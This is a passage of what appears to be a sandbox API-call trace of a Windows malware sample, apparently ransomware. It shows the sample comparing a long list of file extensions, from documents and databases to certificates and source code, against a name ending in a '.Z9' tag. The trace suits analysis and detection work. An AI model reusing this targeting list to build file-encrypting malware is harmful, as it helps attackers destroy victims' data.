	[0070.503] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0070.503] lstrlenW (lpString=".7z") returned 3
	[0070.503] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0070.503] lstrlenW (lpString=".accda") returned 6
	[0070.503] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0070.504] lstrlenW (lpString=".accdb") returned 6
	[0070.504] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0070.504] lstrlenW (lpString=".accdc") returned 6
	[0070.504] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0070.504] lstrlenW (lpString=".accde") returned 6
	[0070.504] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0070.504] lstrlenW (lpString=".accdt") returned 6
	[0070.504] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0070.504] lstrlenW (lpString=".accdw") returned 6
	[0070.504] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0070.504] lstrlenW (lpString=".adb") returned 4
	[0070.504] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0070.504] lstrlenW (lpString=".adp") returned 4
	[0070.504] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0070.504] lstrlenW (lpString=".ai") returned 3
	[0070.504] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0070.504] lstrlenW (lpString=".ai3") returned 4
	[0070.504] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0070.504] lstrlenW (lpString=".ai4") returned 4
	[0070.504] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0070.504] lstrlenW (lpString=".ai5") returned 4
	[0070.504] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0070.504] lstrlenW (lpString=".ai6") returned 4
	[0070.504] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0070.504] lstrlenW (lpString=".ai7") returned 4
	[0070.504] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0070.504] lstrlenW (lpString=".ai8") returned 4
	[0070.504] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0070.504] lstrlenW (lpString=".anim") returned 5
	[0070.504] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0070.504] lstrlenW (lpString=".arw") returned 4
	[0070.504] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0070.504] lstrlenW (lpString=".as") returned 3
	[0070.505] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0070.505] lstrlenW (lpString=".asa") returned 4
	[0070.505] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0070.505] lstrlenW (lpString=".asc") returned 4
	[0070.505] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0070.505] lstrlenW (lpString=".ascx") returned 5
	[0070.505] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0070.505] lstrlenW (lpString=".asm") returned 4
	[0070.505] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0070.505] lstrlenW (lpString=".asmx") returned 5
	[0070.505] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0070.505] lstrlenW (lpString=".asp") returned 4
	[0070.505] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0070.505] lstrlenW (lpString=".aspx") returned 5
	[0070.505] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0070.505] lstrlenW (lpString=".asr") returned 4
	[0070.505] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0070.505] lstrlenW (lpString=".asx") returned 4
	[0070.505] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0070.505] lstrlenW (lpString=".avi") returned 4
	[0070.505] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0070.505] lstrlenW (lpString=".avs") returned 4
	[0070.505] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0070.505] lstrlenW (lpString=".backup") returned 7
	[0070.505] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0070.505] lstrlenW (lpString=".bak") returned 4
	[0070.505] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0070.505] lstrlenW (lpString=".bay") returned 4
	[0070.505] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0070.505] lstrlenW (lpString=".bd") returned 3
	[0070.505] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0070.505] lstrlenW (lpString=".bin") returned 4
	[0070.505] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0070.505] lstrlenW (lpString=".bmp") returned 4
	[0070.505] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".bz2") returned 4
	[0070.506] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".c") returned 2
	[0070.506] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0070.506] lstrlenW (lpString=".cdr") returned 4
	[0070.506] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".cer") returned 4
	[0070.506] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".cf") returned 3
	[0070.506] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0070.506] lstrlenW (lpString=".cfc") returned 4
	[0070.506] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".cfm") returned 4
	[0070.506] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".cfml") returned 5
	[0070.506] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0070.506] lstrlenW (lpString=".cfu") returned 4
	[0070.506] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".chm") returned 4
	[0070.506] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".cin") returned 4
	[0070.506] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".class") returned 6
	[0070.506] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0070.506] lstrlenW (lpString=".clx") returned 4
	[0070.506] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".config") returned 7
	[0070.506] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0070.506] lstrlenW (lpString=".cpp") returned 4
	[0070.506] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".cr2") returned 4
	[0070.506] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".crt") returned 4
	[0070.506] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0070.506] lstrlenW (lpString=".crw") returned 4
	[0070.507] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".cs") returned 3
	[0070.507] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0070.507] lstrlenW (lpString=".css") returned 4
	[0070.507] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".csv") returned 4
	[0070.507] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".cub") returned 4
	[0070.507] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".dae") returned 4
	[0070.507] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".dat") returned 4
	[0070.507] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".db") returned 3
	[0070.507] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0070.507] lstrlenW (lpString=".dbf") returned 4
	[0070.507] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".dbx") returned 4
	[0070.507] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".dc3") returned 4
	[0070.507] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".dcm") returned 4
	[0070.507] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".dcr") returned 4
	[0070.507] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".der") returned 4
	[0070.507] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0070.507] lstrlenW (lpString=".dib") returned 4
	[0070.507] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0070.508] lstrlenW (lpString=".dic") returned 4
	[0070.508] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0070.508] lstrlenW (lpString=".dif") returned 4
	[0070.508] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0070.508] lstrlenW (lpString=".divx") returned 5
	[0070.508] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0070.508] lstrlenW (lpString=".djvu") returned 5
	[0070.508] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0070.508] lstrlenW (lpString=".dng") returned 4
	[0070.508] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0070.508] lstrlenW (lpString=".doc") returned 4
	[0070.508] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0070.508] lstrlenW (lpString=".docm") returned 5
	[0070.508] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0070.508] lstrlenW (lpString=".docx") returned 5
	[0070.508] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0070.508] lstrlenW (lpString=".dot") returned 4
	[0070.508] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0070.508] lstrlenW (lpString=".dotm") returned 5
	[0070.508] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0070.508] lstrlenW (lpString=".dotx") returned 5
	[0070.508] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0070.508] lstrlenW (lpString=".dpx") returned 4
	[0070.508] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0070.508] lstrlenW (lpString=".dqy") returned 4
	[0070.508] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0070.508] lstrlenW (lpString=".dsn") returned 4
	[0070.508] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0070.508] lstrlenW (lpString=".dt") returned 3
	[0070.508] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0070.508] lstrlenW (lpString=".dtd") returned 4
	[0070.508] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0070.540] lstrlenW (lpString=".dwg") returned 4
	[0070.540] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0070.540] lstrlenW (lpString=".dwt") returned 4
	[0070.540] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0070.540] lstrlenW (lpString=".dx") returned 3
	[0070.540] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0070.540] lstrlenW (lpString=".dxf") returned 4
	[0070.540] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0070.540] lstrlenW (lpString=".edml") returned 5
	[0070.540] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0070.540] lstrlenW (lpString=".efd") returned 4
	[0070.540] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0070.540] lstrlenW (lpString=".elf") returned 4
	[0070.541] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".emf") returned 4
	[0070.541] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".emz") returned 4
	[0070.541] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".epf") returned 4
	[0070.541] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".eps") returned 4
	[0070.541] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".epsf") returned 5
	[0070.541] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0070.541] lstrlenW (lpString=".epsp") returned 5
	[0070.541] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0070.541] lstrlenW (lpString=".erf") returned 4
	[0070.541] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".exr") returned 4
	[0070.541] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".f4v") returned 4
	[0070.541] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".fido") returned 5
	[0070.541] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0070.541] lstrlenW (lpString=".flm") returned 4
	[0070.541] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".flv") returned 4
	[0070.541] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".frm") returned 4
	[0070.541] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".fxg") returned 4
	[0070.541] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".geo") returned 4
	[0070.541] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".gif") returned 4
	[0070.541] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0070.541] lstrlenW (lpString=".grs") returned 4
	[0070.542] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".gz") returned 3
	[0070.542] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0070.542] lstrlenW (lpString=".h") returned 2
	[0070.542] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0070.542] lstrlenW (lpString=".hdr") returned 4
	[0070.542] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".hpp") returned 4
	[0070.542] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".hta") returned 4
	[0070.542] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".htc") returned 4
	[0070.542] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".htm") returned 4
	[0070.542] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".html") returned 5
	[0070.542] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0070.542] lstrlenW (lpString=".icb") returned 4
	[0070.542] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".ics") returned 4
	[0070.542] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".iff") returned 4
	[0070.542] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".inc") returned 4
	[0070.542] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".indd") returned 5
	[0070.542] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0070.542] lstrlenW (lpString=".ini") returned 4
	[0070.542] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".iqy") returned 4
	[0070.542] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".j2c") returned 4
	[0070.542] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".j2k") returned 4
	[0070.542] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0070.542] lstrlenW (lpString=".java") returned 5
	[0070.542] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0070.543] lstrlenW (lpString=".jp2") returned 4
	[0070.543] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".jpc") returned 4
	[0070.543] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".jpe") returned 4
	[0070.543] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".jpeg") returned 5
	[0070.543] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0070.543] lstrlenW (lpString=".jpf") returned 4
	[0070.543] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".jpg") returned 4
	[0070.543] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".jpx") returned 4
	[0070.543] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".js") returned 3
	[0070.543] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0070.543] lstrlenW (lpString=".jsf") returned 4
	[0070.543] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".json") returned 5
	[0070.543] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0070.543] lstrlenW (lpString=".jsp") returned 4
	[0070.543] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".kdc") returned 4
	[0070.543] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".kmz") returned 4
	[0070.543] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".kwm") returned 4
	[0070.543] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".lasso") returned 6
	[0070.543] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0070.543] lstrlenW (lpString=".lbi") returned 4
	[0070.543] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".lgf") returned 4
	[0070.543] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0070.543] lstrlenW (lpString=".lgp") returned 4
	[0070.543] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".log") returned 4
	[0070.544] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".m1v") returned 4
	[0070.544] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".m4a") returned 4
	[0070.544] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".m4v") returned 4
	[0070.544] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".max") returned 4
	[0070.544] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".md") returned 3
	[0070.544] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0070.544] lstrlenW (lpString=".mda") returned 4
	[0070.544] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".mdb") returned 4
	[0070.544] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".mde") returned 4
	[0070.544] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".mdf") returned 4
	[0070.544] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".mdw") returned 4
	[0070.544] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".mef") returned 4
	[0070.544] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".mft") returned 4
	[0070.544] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".mfw") returned 4
	[0070.544] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".mht") returned 4
	[0070.544] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".mhtml") returned 6
	[0070.544] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0070.544] lstrlenW (lpString=".mka") returned 4
	[0070.544] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0070.544] lstrlenW (lpString=".mkidx") returned 6
	[0070.544] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0070.545] lstrlenW (lpString=".mkv") returned 4
	[0070.545] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".mos") returned 4
	[0070.545] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".mov") returned 4
	[0070.545] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".mp3") returned 4
	[0070.545] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".mp4") returned 4
	[0070.545] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".mpeg") returned 5
	[0070.545] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0070.545] lstrlenW (lpString=".mpg") returned 4
	[0070.545] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".mpv") returned 4
	[0070.545] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".mrw") returned 4
	[0070.545] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".msg") returned 4
	[0070.545] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".mxl") returned 4
	[0070.545] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".myd") returned 4
	[0070.545] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".myi") returned 4
	[0070.545] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".nef") returned 4
	[0070.545] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0070.545] lstrlenW (lpString=".nrw") returned 4
	[0070.546] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".obj") returned 4
	[0070.546] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".odb") returned 4
	[0070.546] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".odc") returned 4
	[0070.546] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".odm") returned 4
	[0070.546] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".odp") returned 4
	[0070.546] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".ods") returned 4
	[0070.546] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".oft") returned 4
	[0070.546] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".one") returned 4
	[0070.546] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".onepkg") returned 7
	[0070.546] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0070.546] lstrlenW (lpString=".onetoc2") returned 8
	[0070.546] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0070.546] lstrlenW (lpString=".opt") returned 4
	[0070.546] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".oqy") returned 4
	[0070.546] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".orf") returned 4
	[0070.546] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0070.546] lstrlenW (lpString=".p12") returned 4
	[0070.547] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".p7b") returned 4
	[0070.547] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".p7c") returned 4
	[0070.547] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".pam") returned 4
	[0070.547] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".pbm") returned 4
	[0070.547] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".pct") returned 4
	[0070.547] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".pcx") returned 4
	[0070.547] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".pdd") returned 4
	[0070.547] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".pdf") returned 4
	[0070.547] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".pdp") returned 4
	[0070.547] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".pef") returned 4
	[0070.547] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".pem") returned 4
	[0070.547] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".pff") returned 4
	[0070.547] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0070.547] lstrlenW (lpString=".pfm") returned 4
	[0070.547] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0070.548] lstrlenW (lpString=".pfx") returned 4
	[0070.548] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0070.548] lstrlenW (lpString=".pgm") returned 4
	[0070.548] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0070.548] lstrlenW (lpString=".php") returned 4
	[0070.548] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0070.548] lstrlenW (lpString=".php3") returned 5
	[0070.548] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0070.548] lstrlenW (lpString=".php4") returned 5
	[0070.548] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0070.548] lstrlenW (lpString=".php5") returned 5
	[0070.548] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0070.548] lstrlenW (lpString=".phtml") returned 6
	[0070.548] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0070.548] lstrlenW (lpString=".pict") returned 5
	[0070.548] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0070.548] lstrlenW (lpString=".pl") returned 3
	[0070.548] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0070.548] lstrlenW (lpString=".pls") returned 4
	[0070.548] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0070.548] lstrlenW (lpString=".pm") returned 3
	[0070.548] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0070.548] lstrlenW (lpString=".png") returned 4
	[0070.548] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0070.548] lstrlenW (lpString=".pnm") returned 4
	[0070.548] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0070.548] lstrlenW (lpString=".pot") returned 4
	[0070.548] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0070.548] lstrlenW (lpString=".potm") returned 5
	[0070.548] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0070.549] lstrlenW (lpString=".potx") returned 5
	[0070.549] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
